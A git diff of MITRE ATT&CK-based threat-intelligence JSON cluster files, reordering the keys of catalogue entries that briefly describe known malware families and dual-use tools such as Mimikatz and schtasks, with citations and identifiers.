"description": "pngdowner is malware used by Putter Panda. It is a simple tool with limited functionality and no persistence mechanism, suggesting it is used only as a simple \"download-and-\nexecute\" utility. (Citation: CrowdStrike Putter Panda)\n\nAliases: pngdowner",
- "value": "pngdowner - S0067",
"meta": {
+ "external_id": "S0067",
"refs": [
"https://attack.mitre.org/wiki/Software/S0067",
"http://cdn0.vox-cdn.com/assets/4589853/crowdstrike-intelligence-report-putter-panda.original.pdf"
],
- "external_id": "S0067",
"synonyms": [
"pngdowner"
]
},
- "uuid": "800bdfba-6d66-480f-9f45-15845c05cb5d"
+ "uuid": "800bdfba-6d66-480f-9f45-15845c05cb5d",
+ "value": "pngdowner - S0067"
},
{
"description": "SslMM is a full-featured backdoor used by Naikon that has multiple variants. (Citation: Baumgartner Naikon 2015)\n\nAliases: SslMM",
- "value": "SslMM - S0058",
"meta": {
+ "external_id": "S0058",
"refs": [
"https://attack.mitre.org/wiki/Software/S0058",
"https://securelist.com/files/2015/05/TheNaikonAPT-MsnMM1.pdf"
],
- "external_id": "S0058",
"synonyms": [
"SslMM"
]
},
- "uuid": "2fb26586-2b53-4b9a-ad4f-2b3bcb9a2421"
+ "uuid": "2fb26586-2b53-4b9a-ad4f-2b3bcb9a2421",
+ "value": "SslMM - S0058"
},
{
"description": "Nidiran is a custom backdoor developed and used by Suckfly. It has been delivered via strategic web compromise. (Citation: Symantec Suckfly March 2016)\n\nAliases: Nidiran, Backdoor.Nidiran",
- "value": "Nidiran - S0118",
"meta": {
+ "external_id": "S0118",
"refs": [
"https://attack.mitre.org/wiki/Software/S0118",
"http://www.symantec.com/connect/blogs/suckfly-revealing-secret-life-your-code-signing-certificates"
],
- "external_id": "S0118",
"synonyms": [
"Nidiran",
"Backdoor.Nidiran"
]
},
- "uuid": "9e9b9415-a7df-406b-b14d-92bfe6809fbe"
+ "uuid": "9e9b9415-a7df-406b-b14d-92bfe6809fbe",
+ "value": "Nidiran - S0118"
},
{
"description": "Trojan.Mebromi is BIOS-level malware that takes control of the victim before MBR. (Citation: Ge 2011)\n\nAliases: Trojan.Mebromi",
- "value": "Trojan.Mebromi - S0001",
"meta": {
+ "external_id": "S0001",
"refs": [
"https://attack.mitre.org/wiki/Software/S0001",
"http://www.symantec.com/connect/blogs/bios-threat-showing-again"
],
- "external_id": "S0001",
"synonyms": [
"Trojan.Mebromi"
]
},
- "uuid": "c5e9cb46-aced-466c-85ea-7db5572ad9ec"
+ "uuid": "c5e9cb46-aced-466c-85ea-7db5572ad9ec",
+ "value": "Trojan.Mebromi - S0001"
},
{
"description": "is a backdoor typically used by APT37 as first-stage malware. (Citation: FireEye APT37 Feb 2018)\n\nAliases: KARAE",
- "value": "KARAE - S0215",
"meta": {
+ "external_id": "S0215",
"refs": [
"https://attack.mitre.org/wiki/Software/S0215",
"https://www2.fireeye.com/rs/848-DID-242/images/rpt%20APT37.pdf"
],
- "external_id": "S0215",
"synonyms": [
"KARAE"
]
},
- "uuid": "3c02fb1f-cbdb-48f5-abaf-8c81d6e0c322"
+ "uuid": "3c02fb1f-cbdb-48f5-abaf-8c81d6e0c322",
+ "value": "KARAE - S0215"
},
{
"description": "OwaAuth is a Web shell and credential stealer deployed to Microsoft Exchange servers that appears to be exclusively used by Threat Group-3390. (Citation: Dell TG-3390)\n\nAliases: OwaAuth",
- "value": "OwaAuth - S0072",
"meta": {
+ "external_id": "S0072",
"refs": [
"https://attack.mitre.org/wiki/Software/S0072",
"http://www.secureworks.com/cyber-threat-intelligence/threats/threat-group-3390-targets-organizations-for-cyberespionage/"
],
- "external_id": "S0072",
"synonyms": [
"OwaAuth"
]
},
- "uuid": "a60657fa-e2e7-4f8f-8128-a882534ae8c5"
+ "uuid": "a60657fa-e2e7-4f8f-8128-a882534ae8c5",
+ "value": "OwaAuth - S0072"
},
{
"description": "ROCKBOOT is a Bootkit that has been used by an unidentified, suspected China-based group. (Citation: FireEye Bootkits)\n\nAliases: ROCKBOOT",
- "value": "ROCKBOOT - S0112",
"meta": {
+ "external_id": "S0112",
"refs": [
"https://attack.mitre.org/wiki/Software/S0112",
"https://www.fireeye.com/blog/threat-research/2015/12/fin1-targets-boot-record.html"
],
- "external_id": "S0112",
"synonyms": [
"ROCKBOOT"
]
},
- "uuid": "cba78a1c-186f-4112-9e6a-be1839f030f7"
+ "uuid": "cba78a1c-186f-4112-9e6a-be1839f030f7",
+ "value": "ROCKBOOT - S0112"
},
{
"description": "MURKYTOP is a reconnaissance tool used by Leviathan. (Citation: FireEye Periscope March 2018)\n\nAliases: MURKYTOP",
- "value": "MURKYTOP - S0233",
"meta": {
+ "external_id": "S0233",
"refs": [
"https://attack.mitre.org/wiki/Software/S0233",
"https://www.fireeye.com/blog/threat-research/2018/03/suspected-chinese-espionage-group-targeting-maritime-and-engineering-industries.html"
],
- "external_id": "S0233",
"synonyms": [
"MURKYTOP"
]
},
- "uuid": "049ff071-0b3c-4712-95d2-d21c6aa54501"
+ "uuid": "049ff071-0b3c-4712-95d2-d21c6aa54501",
+ "value": "MURKYTOP - S0233"
},
{
"description": "OnionDuke is malware that was used by APT29 from 2013 to 2015. (Citation: F-Secure The Dukes)\n\nAliases: OnionDuke",
- "value": "OnionDuke - S0052",
"meta": {
+ "external_id": "S0052",
"refs": [
"https://attack.mitre.org/wiki/Software/S0052",
"https://www.f-secure.com/documents/996508/1030745/dukes%20whitepaper.pdf"
],
- "external_id": "S0052",
"synonyms": [
"OnionDuke"
]
},
- "uuid": "b136d088-a829-432c-ac26-5529c26d4c7e"
+ "uuid": "b136d088-a829-432c-ac26-5529c26d4c7e",
+ "value": "OnionDuke - S0052"
},
{
"description": "JPIN is a custom-built backdoor family used by PLATINUM. Evidence suggests developers of JPIN and Dipsind code bases were related in some way. (Citation: Microsoft PLATINUM April 2016)\n\nAliases: JPIN\n\nContributors: Ryan Becwar",
- "value": "JPIN - S0201",
"meta": {
+ "external_id": "S0201",
"refs": [
"https://attack.mitre.org/wiki/Software/S0201"
],
- "external_id": "S0201",
"synonyms": [
"JPIN"
]
},
- "uuid": "de6cb631-52f6-4169-a73b-7965390b0c30"
+ "uuid": "de6cb631-52f6-4169-a73b-7965390b0c30",
+ "value": "JPIN - S0201"
},
{
"description": "LOWBALL is malware used by admin@338. It was used in August 2015 in email messages targeting Hong Kong-based media organizations. (Citation: FireEye admin@338)\n\nAliases: LOWBALL",
- "value": "LOWBALL - S0042",
"meta": {
+ "external_id": "S0042",
"refs": [
"https://attack.mitre.org/wiki/Software/S0042",
"https://www.fireeye.com/blog/threat-research/2015/11/china-based-threat.html"
],
- "external_id": "S0042",
"synonyms": [
"LOWBALL"
]
},
- "uuid": "2a6f4c7b-e690-4cc7-ab6b-1f821fb6b80b"
+ "uuid": "2a6f4c7b-e690-4cc7-ab6b-1f821fb6b80b",
+ "value": "LOWBALL - S0042"
},
{
"description": "is a trojan used by Elderwood to open a backdoor on compromised hosts. (Citation: Symantec Elderwood Sept 2012) (Citation: Symantec Wiarp May 2012)\n\nAliases: Wiarp",
- "value": "Wiarp - S0206",
"meta": {
+ "external_id": "S0206",
"refs": [
"https://attack.mitre.org/wiki/Software/S0206",
"http://www.symantec.com/content/en/us/enterprise/media/security%20response/whitepapers/the-elderwood-project.pdf",
"https://www.symantec.com/security%20response/writeup.jsp?docid=2012-051606-1005-99"
],
- "external_id": "S0206",
"synonyms": [
"Wiarp"
]
},
- "uuid": "039814a0-88de-46c5-a4fb-b293db21880a"
+ "uuid": "039814a0-88de-46c5-a4fb-b293db21880a",
+ "value": "Wiarp - S0206"
},
{
"description": "BLACKCOFFEE is malware that has been used by several Chinese groups since at least 2013. (Citation: FireEye APT17) (Citation: FireEye Periscope March 2018)\n\nAliases: BLACKCOFFEE",
- "value": "BLACKCOFFEE - S0069",
"meta": {
+ "external_id": "S0069",
"refs": [
"https://attack.mitre.org/wiki/Software/S0069",
"https://www2.fireeye.com/rs/fireye/images/APT17%20Report.pdf",
"https://www.fireeye.com/blog/threat-research/2018/03/suspected-chinese-espionage-group-targeting-maritime-and-engineering-industries.html"
],
- "external_id": "S0069",
"synonyms": [
"BLACKCOFFEE"
]
},
- "uuid": "d69c8146-ab35-4d50-8382-6fc80e641d43"
+ "uuid": "d69c8146-ab35-4d50-8382-6fc80e641d43",
+ "value": "BLACKCOFFEE - S0069"
},
{
"description": "Derusbi is malware used by multiple Chinese APT groups. (Citation: Axiom) (Citation: ThreatConnect Anthem) Both Windows and Linux variants have been observed. (Citation: Fidelis Turbo)\n\nAliases: Derusbi, PHOTO",
- "value": "Derusbi - S0021",
"meta": {
+ "external_id": "S0021",
"refs": [
"https://attack.mitre.org/wiki/Software/S0021",
"http://www.novetta.com/wp-content/uploads/2014/11/Executive%20Summary-Final%201.pdf",
"https://www.threatconnect.com/the-anthem-hack-all-roads-lead-to-china/",
"https://www.fidelissecurity.com/sites/default/files/TA%20Fidelis%20Turbo%201602%200.pdf"
],
- "external_id": "S0021",
"synonyms": [
"Derusbi",
"PHOTO"
]
},
- "uuid": "94379dec-5c87-49db-b36e-66abc0b81344"
+ "uuid": "94379dec-5c87-49db-b36e-66abc0b81344",
+ "value": "Derusbi - S0021"
},
{
"description": "RawPOS is a point-of-sale (POS) malware family that searches for cardholder data on victims. It has been in use since at least 2008. (Citation: Kroll RawPOS Jan 2017) (Citation: TrendMicro RawPOS April 2015) (Citation: Visa RawPOS March 2015) FireEye divides RawPOS into three components: FIENDCRY, DUEBREW, and DRIFTWOOD. (Citation: Mandiant FIN5 GrrCON Oct 2016) (Citation: DarkReading FireEye FIN5 Oct 2015)\n\nAliases: RawPOS, FIENDCRY, DUEBREW, DRIFTWOOD\n\nContributors: Walker Johnson",
- "value": "RawPOS - S0169",
"meta": {
+ "external_id": "S0169",
"refs": [
"https://attack.mitre.org/wiki/Software/S0169",
"https://usa.visa.com/dam/VCOM/download/merchants/alert-rawpos.pdf",
"https://www.youtube.com/watch?v=fevGZs0EQu8",
"https://www.darkreading.com/analytics/prolific-cybercrime-gang-favors-legit-login-credentials/d/d-id/1322645?"
],
- "external_id": "S0169",
"synonyms": [
"RawPOS",
"FIENDCRY",
@@ -2891,17 +2889,17 @@
"DRIFTWOOD"
]
},
- "uuid": "9752aef4-a1f3-4328-929f-b64eb0536090"
+ "uuid": "9752aef4-a1f3-4328-929f-b64eb0536090",
+ "value": "RawPOS - S0169"
},
{
"description": "Epic is a backdoor that has been used by Turla. (Citation: Kaspersky Turla)\n\nAliases: Epic, Tavdig, Wipbot, WorldCupSec, TadjMakhal",
- "value": "Epic - S0091",
"meta": {
+ "external_id": "S0091",
"refs": [
"https://attack.mitre.org/wiki/Software/S0091",
"https://securelist.com/the-epic-turla-operation/65545/"
],
- "external_id": "S0091",
"synonyms": [
"Epic",
"Tavdig",
@@ -2910,44 +2908,45 @@
"TadjMakhal"
]
},
- "uuid": "6b62e336-176f-417b-856a-8552dd8c44e1"
+ "uuid": "6b62e336-176f-417b-856a-8552dd8c44e1",
+ "value": "Epic - S0091"
},
{
"description": "Lurid is a malware family that has been used by several groups, including PittyTiger, in targeted attacks as far back as 2006. (Citation: Villeneuve 2014) (Citation: Villeneuve 2011)\n\nAliases: Lurid, Enfal",
- "value": "Lurid - S0010",
"meta": {
+ "external_id": "S0010",
"refs": [
"https://attack.mitre.org/wiki/Software/S0010",
"https://www.fireeye.com/blog/threat-research/2014/07/spy-of-the-tiger.html",
"http://www.trendmicro.com/cloud-content/us/pdfs/security-intelligence/white-papers/wp%20dissecting-lurid-apt.pdf"
],
- "external_id": "S0010",
"synonyms": [
"Lurid",
"Enfal"
]
},
- "uuid": "251fbae2-78f6-4de7-84f6-194c727a64ad"
+ "uuid": "251fbae2-78f6-4de7-84f6-194c727a64ad",
+ "value": "Lurid - S0010"
},
{
"description": "3PARA RAT is a remote access tool (RAT) programmed in C++ that has been used by Putter Panda. (Citation: CrowdStrike Putter Panda)\n\nAliases: 3PARA RAT",
- "value": "3PARA RAT - S0066",
"meta": {
+ "external_id": "S0066",
"refs": [
"https://attack.mitre.org/wiki/Software/S0066",
"http://cdn0.vox-cdn.com/assets/4589853/crowdstrike-intelligence-report-putter-panda.original.pdf"
],
- "external_id": "S0066",
"synonyms": [
"3PARA RAT"
]
},
- "uuid": "7bec698a-7e20-4fd3-bb6a-12787770fb1a"
+ "uuid": "7bec698a-7e20-4fd3-bb6a-12787770fb1a",
+ "value": "3PARA RAT - S0066"
},
{
"description": "JHUHUGIT is malware used by APT28. It is based on Carberp source code and serves as reconnaissance malware. (Citation: Kaspersky Sofacy) (Citation: F-Secure Sofacy 2015) (Citation: ESET Sednit Part 1) (Citation: FireEye APT28 January 2017)\n\nAliases: JHUHUGIT, Seduploader, JKEYSKW, Sednit, GAMEFISH, SofacyCarberp",
- "value": "JHUHUGIT - S0044",
"meta": {
+ "external_id": "S0044",
"refs": [
"https://attack.mitre.org/wiki/Software/S0044",
"https://securelist.com/sofacy-apt-hits-high-profile-targets-with-updated-toolset/72924/",
@@ -2955,7 +2954,6 @@
"http://www.welivesecurity.com/wp-content/uploads/2016/10/eset-sednit-part1.pdf",
"https://www2.fireeye.com/rs/848-DID-242/images/APT28-Center-of-Storm-2017.pdf"
],
- "external_id": "S0044",
"synonyms": [
"JHUHUGIT",
"Seduploader",
@@ -2965,22 +2963,24 @@
"SofacyCarberp"
]
},
- "uuid": "8ae43c46-57ef-47d5-a77a-eebb35628db2"
+ "uuid": "8ae43c46-57ef-47d5-a77a-eebb35628db2",
+ "value": "JHUHUGIT - S0044"
},
{
"description": "ELMER is a non-persistent, proxy-aware HTTP backdoor written in Delphi that has been used by APT16. (Citation: FireEye EPS Awakens Part 2)\n\nAliases: ELMER",
- "value": "ELMER - S0064",
"meta": {
+ "external_id": "S0064",
"refs": [
"https://attack.mitre.org/wiki/Software/S0064",
"https://www.fireeye.com/blog/threat-research/2015/12/the-eps-awakens-part-two.html"
],
- "external_id": "S0064",
"synonyms": [
"ELMER"
]
},
- "uuid": "3cab1b76-2f40-4cd0-8d2c-7ed16eeb909c"
+ "uuid": "3cab1b76-2f40-4cd0-8d2c-7ed16eeb909c",
+ "value": "ELMER - S0064"
}
- ]
+ ],
+ "version": 4
}
diff --git a/clusters/mitre-enterprise-attack-relationship.json b/clusters/mitre-enterprise-attack-relationship.json
index bcc73bf..39d53a8 100644
--- a/clusters/mitre-enterprise-attack-relationship.json
+++ b/clusters/mitre-enterprise-attack-relationship.json
@@ -1,13 +1,12 @@
{
- "name": "Enterprise Attack - Relationship",
- "type": "mitre-enterprise-attack-relationship",
- "description": "MITRE Relationship",
- "version": 3,
- "source": "https://github.com/mitre/cti",
- "uuid": "fc605f90-1707-11e8-9d6a-9f165ac2ab5c",
"authors": [
"MITRE"
],
+ "description": "MITRE Relationship",
+ "name": "Enterprise Attack - Relationship",
+ "source": "https://github.com/mitre/cti",
+ "type": "mitre-enterprise-attack-relationship",
+ "uuid": "fc605f90-1707-11e8-9d6a-9f165ac2ab5c",
"values": [
{
"meta": {
@@ -17273,5 +17272,6 @@
"uuid": "7f695d14-17e1-46c6-92eb-7c2f57fc6553",
"value": "Lazarus Group (G0032) uses Input Capture (T1056)"
}
- ]
+ ],
+ "version": 3
}
diff --git a/clusters/mitre-enterprise-attack-tool.json b/clusters/mitre-enterprise-attack-tool.json
index 91950cc..285c251 100644
--- a/clusters/mitre-enterprise-attack-tool.json
+++ b/clusters/mitre-enterprise-attack-tool.json
@@ -1,563 +1,562 @@
{
- "name": "Enterprise Attack - Tool",
- "type": "mitre-enterprise-attack-tool",
- "description": "Name of ATT&CK software",
- "version": 4,
- "source": "https://github.com/mitre/cti",
- "uuid": "fc1ea6e0-1707-11e8-ac05-2b70d00c354e",
"authors": [
"MITRE"
],
+ "description": "Name of ATT&CK software",
+ "name": "Enterprise Attack - Tool",
+ "source": "https://github.com/mitre/cti",
+ "type": "mitre-enterprise-attack-tool",
+ "uuid": "fc1ea6e0-1707-11e8-ac05-2b70d00c354e",
"values": [
{
"description": "is a lightweight, open source tool similar to PsExec designed to allow system administrators to execute commands on remote servers. (Citation: Winexe Github Sept 2013) is unique in that it is a GNU/Linux based client. (Citation: Überwachung APT28 Forfiles June 2015)\n\nAliases: Winexe",
- "value": "Winexe - S0191",
"meta": {
+ "external_id": "S0191",
"refs": [
"https://attack.mitre.org/wiki/Software/S0191",
"https://github.com/skalkoto/winexe/",
"https://netzpolitik.org/2015/digital-attack-on-german-parliament-investigative-report-on-the-hack-of-the-left-party-infrastructure-in-bundestag/"
],
- "external_id": "S0191",
"synonyms": [
"Winexe"
]
},
- "uuid": "96fd6cc4-a693-4118-83ec-619e5352d07d"
+ "uuid": "96fd6cc4-a693-4118-83ec-619e5352d07d",
+ "value": "Winexe - S0191"
},
{
"description": "at is used to schedule tasks on a system to run at a specified date or time. (Citation: TechNet At)\n\nAliases: at, at.exe",
- "value": "at - S0110",
"meta": {
+ "external_id": "S0110",
"refs": [
"https://attack.mitre.org/wiki/Software/S0110",
"https://technet.microsoft.com/en-us/library/bb490866.aspx"
],
- "external_id": "S0110",
"synonyms": [
"at",
"at.exe"
]
},
- "uuid": "0c8465c0-d0b4-4670-992e-4eee8d7ff952"
+ "uuid": "0c8465c0-d0b4-4670-992e-4eee8d7ff952",
+ "value": "at - S0110"
},
{
"description": "route can be used to find or change information within the local system IP routing table. (Citation: TechNet Route)\n\nAliases: route, route.exe",
- "value": "route - S0103",
"meta": {
+ "external_id": "S0103",
"refs": [
"https://attack.mitre.org/wiki/Software/S0103",
"https://technet.microsoft.com/en-us/library/bb490991.aspx"
],
- "external_id": "S0103",
"synonyms": [
"route",
"route.exe"
]
},
- "uuid": "c11ac61d-50f4-444f-85d8-6f006067f0de"
+ "uuid": "c11ac61d-50f4-444f-85d8-6f006067f0de",
+ "value": "route - S0103"
},
{
"description": "The Tasklist utility displays a list of applications and services with their Process IDs (PID) for all tasks running on either a local or a remote computer. It is packaged with Windows operating systems and can be executed from the command-line interface. (Citation: Microsoft Tasklist)\n\nAliases: Tasklist",
- "value": "Tasklist - S0057",
"meta": {
+ "external_id": "S0057",
"refs": [
"https://attack.mitre.org/wiki/Software/S0057",
"https://technet.microsoft.com/en-us/library/bb491010.aspx"
],
- "external_id": "S0057",
"synonyms": [
"Tasklist"
]
},
- "uuid": "2e45723a-31da-4a7e-aaa6-e01998a6788f"
+ "uuid": "2e45723a-31da-4a7e-aaa6-e01998a6788f",
+ "value": "Tasklist - S0057"
},
{
"description": "Windows Credential Editor is a password dumping tool. (Citation: Amplia WCE)\n\nAliases: Windows Credential Editor, WCE",
- "value": "Windows Credential Editor - S0005",
"meta": {
+ "external_id": "S0005",
"refs": [
"https://attack.mitre.org/wiki/Software/S0005",
"http://www.ampliasecurity.com/research/wcefaq.html"
],
- "external_id": "S0005",
"synonyms": [
"Windows Credential Editor",
"WCE"
]
},
- "uuid": "242f3da3-4425-4d11-8f5c-b842886da966"
+ "uuid": "242f3da3-4425-4d11-8f5c-b842886da966",
+ "value": "Windows Credential Editor - S0005"
},
{
"description": "Responder is an open source tool used for LLMNR, NBT-NS and MDNS poisoning, with built-in HTTP/SMB/MSSQL/FTP/LDAP rogue authentication server supporting NTLMv1/NTLMv2/LMv2, Extended Security NTLMSSP and Basic HTTP authentication. (Citation: GitHub Responder)\n\nAliases: Responder",
- "value": "Responder - S0174",
"meta": {
+ "external_id": "S0174",
"refs": [
"https://attack.mitre.org/wiki/Software/S0174",
"https://github.com/SpiderLabs/Responder"
],
- "external_id": "S0174",
"synonyms": [
"Responder"
]
},
- "uuid": "a1dd2dbd-1550-44bf-abcc-1a4c52e97719"
+ "uuid": "a1dd2dbd-1550-44bf-abcc-1a4c52e97719",
+ "value": "Responder - S0174"
},
{
"description": "schtasks is used to schedule execution of programs or scripts on a Windows system to run at a specific date and time. (Citation: TechNet Schtasks)\n\nAliases: schtasks, schtasks.exe",
- "value": "schtasks - S0111",
"meta": {
+ "external_id": "S0111",
"refs": [
"https://attack.mitre.org/wiki/Software/S0111",
"https://technet.microsoft.com/en-us/library/bb490996.aspx"
],
- "external_id": "S0111",
"synonyms": [
"schtasks",
"schtasks.exe"
]
},
- "uuid": "c9703cd3-141c-43a0-a926-380082be5d04"
+ "uuid": "c9703cd3-141c-43a0-a926-380082be5d04",
+ "value": "schtasks - S0111"
},
{
"description": "UACMe is an open source assessment tool that contains many methods for bypassing Windows User Account Control on multiple versions of the operating system. (Citation: Github UACMe)\n\nAliases: UACMe",
- "value": "UACMe - S0116",
"meta": {
+ "external_id": "S0116",
"refs": [
"https://attack.mitre.org/wiki/Software/S0116",
"https://github.com/hfiref0x/UACME"
],
- "external_id": "S0116",
"synonyms": [
"UACMe"
]
},
- "uuid": "102c3898-85e0-43ee-ae28-62a0a3ed9507"
+ "uuid": "102c3898-85e0-43ee-ae28-62a0a3ed9507",
+ "value": "UACMe - S0116"
},
{
"description": "ifconfig is a Unix-based utility used to gather information about and interact with the TCP/IP settings on a system. (Citation: Wikipedia Ifconfig)\n\nAliases: ifconfig",
- "value": "ifconfig - S0101",
"meta": {
+ "external_id": "S0101",
"refs": [
"https://attack.mitre.org/wiki/Software/S0101",
"https://en.wikipedia.org/wiki/Ifconfig"
],
- "external_id": "S0101",
"synonyms": [
"ifconfig"
]
},
- "uuid": "362dc67f-4e85-4562-9dac-1b6b7f3ec4b5"
+ "uuid": "362dc67f-4e85-4562-9dac-1b6b7f3ec4b5",
+ "value": "ifconfig - S0101"
},
{
"description": "is a command line tool used to create and manage BITS Jobs. (Citation: Microsoft BITSAdmin)\n\nAliases: BITSAdmin",
- "value": "BITSAdmin - S0190",
"meta": {
+ "external_id": "S0190",
"refs": [
"https://attack.mitre.org/wiki/Software/S0190",
"https://msdn.microsoft.com/library/aa362813.aspx"
],
- "external_id": "S0190",
"synonyms": [
"BITSAdmin"
]
},
- "uuid": "64764dc6-a032-495f-8250-1e4c06bdc163"
+ "uuid": "64764dc6-a032-495f-8250-1e4c06bdc163",
+ "value": "BITSAdmin - S0190"
},
{
"description": "Mimikatz is a credential dumper capable of obtaining plaintext Windows account logins and passwords, along with many other features that make it useful for testing the security of networks. (Citation: Deply Mimikatz) (Citation: Adsecurity Mimikatz Guide)\n\nAliases: Mimikatz\n\nContributors: Vincent Le Toux",
- "value": "Mimikatz - S0002",
"meta": {
+ "external_id": "S0002",
"refs": [
"https://attack.mitre.org/wiki/Software/S0002",
"https://github.com/gentilkiwi/mimikatz",
"https://adsecurity.org/?page%20id=1821"
],
- "external_id": "S0002",
"synonyms": [
"Mimikatz"
]
},
- "uuid": "afc079f3-c0ea-4096-b75d-3f05338b7f60"
+ "uuid": "afc079f3-c0ea-4096-b75d-3f05338b7f60",
+ "value": "Mimikatz - S0002"
},
{
"description": " (Citation: xCmd) is an open source tool that is similar to PsExec and allows the user to execute applications on remote systems. (Citation: xCmd)\n\nAliases: (Citation: xCmd)",
- "value": "xCmd - S0123",
"meta": {
+ "external_id": "S0123",
"refs": [
"https://attack.mitre.org/wiki/Software/S0123",
"https://ashwinrayaprolu.wordpress.com/2011/04/12/xcmd-an-alternative-to-psexec/"
],
- "external_id": "S0123",
"synonyms": [
"xCmd"
]
},
- "uuid": "4fa49fc0-9162-4bdb-a37e-7aa3dcb6d38b"
+ "uuid": "4fa49fc0-9162-4bdb-a37e-7aa3dcb6d38b",
+ "value": "xCmd - S0123"
},
{
"description": "MimiPenguin is a credential dumper, similar to Mimikatz, designed specifically for Linux platforms. (Citation: MimiPenguin GitHub May 2017)\n\nAliases: MimiPenguin\n\nContributors: Vincent Le Toux",
- "value": "MimiPenguin - S0179",
"meta": {
+ "external_id": "S0179",
"refs": [
"https://attack.mitre.org/wiki/Software/S0179",
"https://github.com/huntergregal/mimipenguin"
],
- "external_id": "S0179",
"synonyms": [
"MimiPenguin"
]
},
- "uuid": "5a33468d-844d-4b1f-98c9-0e786c556b27"
+ "uuid": "5a33468d-844d-4b1f-98c9-0e786c556b27",
+ "value": "MimiPenguin - S0179"
},
{
"description": "is an application that securely deletes data in a way that makes it unrecoverable. It is part of the Microsoft Sysinternals suite of tools. (Citation: Microsoft SDelete July 2016)\n\nAliases: SDelete",
- "value": "SDelete - S0195",
"meta": {
+ "external_id": "S0195",
"refs": [
"https://attack.mitre.org/wiki/Software/S0195",
"https://docs.microsoft.com/en-us/sysinternals/downloads/sdelete"
],
- "external_id": "S0195",
"synonyms": [
"SDelete"
]
},
- "uuid": "d8d19e33-94fd-4aa3-b94a-08ee801a2153"
+ "uuid": "d8d19e33-94fd-4aa3-b94a-08ee801a2153",
+ "value": "SDelete - S0195"
},
{
"description": "Systeminfo is a Windows utility that can be used to gather detailed information about a computer. (Citation: TechNet Systeminfo)\n\nAliases: Systeminfo, systeminfo.exe",
- "value": "Systeminfo - S0096",
"meta": {
+ "external_id": "S0096",
"refs": [
"https://attack.mitre.org/wiki/Software/S0096",
"https://technet.microsoft.com/en-us/library/bb491007.aspx"
],
- "external_id": "S0096",
"synonyms": [
"Systeminfo",
"systeminfo.exe"
]
},
- "uuid": "7fcbc4e8-1989-441f-9ac5-e7b6ff5806f1"
+ "uuid": "7fcbc4e8-1989-441f-9ac5-e7b6ff5806f1",
+ "value": "Systeminfo - S0096"
},
{
"description": "netsh is a scripting utility used to interact with networking components on local or remote systems. (Citation: TechNet Netsh)\n\nAliases: netsh, netsh.exe",
- "value": "netsh - S0108",
"meta": {
+ "external_id": "S0108",
"refs": [
"https://attack.mitre.org/wiki/Software/S0108",
"https://technet.microsoft.com/library/bb490939.aspx"
],
- "external_id": "S0108",
"synonyms": [
"netsh",
"netsh.exe"
]
},
- "uuid": "5a63f900-5e7e-4928-a746-dd4558e1df71"
+ "uuid": "5a63f900-5e7e-4928-a746-dd4558e1df71",
+ "value": "netsh - S0108"
},
{
"description": "dsquery is a command-line utility that can be used to query Active Directory for information from a system within a domain. (Citation: TechNet Dsquery) It is typically installed only on Windows Server versions but can be installed on non-server variants through the Microsoft-provided Remote Server Administration Tools bundle.\n\nAliases: dsquery, dsquery.exe",
- "value": "dsquery - S0105",
"meta": {
+ "external_id": "S0105",
"refs": [
"https://attack.mitre.org/wiki/Software/S0105",
"https://technet.microsoft.com/en-us/library/cc732952.aspx"
],
- "external_id": "S0105",
"synonyms": [
"dsquery",
"dsquery.exe"
]
},
- "uuid": "38952eac-cb1b-4a71-bad2-ee8223a1c8fe"
+ "uuid": "38952eac-cb1b-4a71-bad2-ee8223a1c8fe",
+ "value": "dsquery - S0105"
},
{
"description": "gsecdump is a publicly-available credential dumper used to obtain password hashes and LSA secrets from Windows operating systems. (Citation: TrueSec Gsecdump)\n\nAliases: gsecdump",
- "value": "gsecdump - S0008",
"meta": {
+ "external_id": "S0008",
"refs": [
"https://attack.mitre.org/wiki/Software/S0008",
"https://www.truesec.se/sakerhet/verktyg/saakerhet/gsecdump%20v2.0b5"
],
- "external_id": "S0008",
"synonyms": [
"gsecdump"
]
},
- "uuid": "b07c2c47-fefb-4d7c-a69e-6a3296171f54"
+ "uuid": "b07c2c47-fefb-4d7c-a69e-6a3296171f54",
+ "value": "gsecdump - S0008"
},
{
"description": "Ping is an operating system utility commonly used to troubleshoot and verify network connections. (Citation: TechNet Ping)\n\nAliases: Ping, ping.exe",
- "value": "Ping - S0097",
"meta": {
+ "external_id": "S0097",
"refs": [
"https://attack.mitre.org/wiki/Software/S0097",
"https://technet.microsoft.com/en-us/library/bb490968.aspx"
],
- "external_id": "S0097",
"synonyms": [
"Ping",
"ping.exe"
]
},
- "uuid": "b77b563c-34bb-4fb8-86a3-3694338f7b47"
+ "uuid": "b77b563c-34bb-4fb8-86a3-3694338f7b47",
+ "value": "Ping - S0097"
},
{
"description": "Fgdump is a Windows password hash dumper. (Citation: Mandiant APT1)\n\nAliases: Fgdump",
- "value": "Fgdump - S0120",
"meta": {
+ "external_id": "S0120",
"refs": [
"https://attack.mitre.org/wiki/Software/S0120",
"https://www.fireeye.com/content/dam/fireeye-www/services/pdfs/mandiant-apt1-report.pdf"
],
- "external_id": "S0120",
"synonyms": [
"Fgdump"
]
},
- "uuid": "4f45dfeb-fe51-4df0-8db3-edf7dd0513fe"
+ "uuid": "4f45dfeb-fe51-4df0-8db3-edf7dd0513fe",
+ "value": "Fgdump - S0120"
},
{
"description": "Lslsass is a publicly-available tool that can dump active logon session password hashes from the lsass process. (Citation: Mandiant APT1)\n\nAliases: Lslsass",
- "value": "Lslsass - S0121",
"meta": {
+ "external_id": "S0121",
"refs": [
"https://attack.mitre.org/wiki/Software/S0121",
"https://www.fireeye.com/content/dam/fireeye-www/services/pdfs/mandiant-apt1-report.pdf"
],
- "external_id": "S0121",
"synonyms": [
"Lslsass"
]
},
- "uuid": "2fab555f-7664-4623-b4e0-1675ae38190b"
+ "uuid": "2fab555f-7664-4623-b4e0-1675ae38190b",
+ "value": "Lslsass - S0121"
},
{
"description": "Pass-The-Hash Toolkit is a toolkit that allows an adversary to \"pass\" a password hash (without knowing the original password) to log in to systems. (Citation: Mandiant APT1)\n\nAliases: Pass-The-Hash Toolkit",
- "value": "Pass-The-Hash Toolkit - S0122",
"meta": {
+ "external_id": "S0122",
"refs": [
"https://attack.mitre.org/wiki/Software/S0122",
"https://www.fireeye.com/content/dam/fireeye-www/services/pdfs/mandiant-apt1-report.pdf"
],
- "external_id": "S0122",
"synonyms": [
"Pass-The-Hash Toolkit"
]
},
- "uuid": "a52edc76-328d-4596-85e7-d56ef5a9eb69"
+ "uuid": "a52edc76-328d-4596-85e7-d56ef5a9eb69",
+ "value": "Pass-The-Hash Toolkit - S0122"
},
{
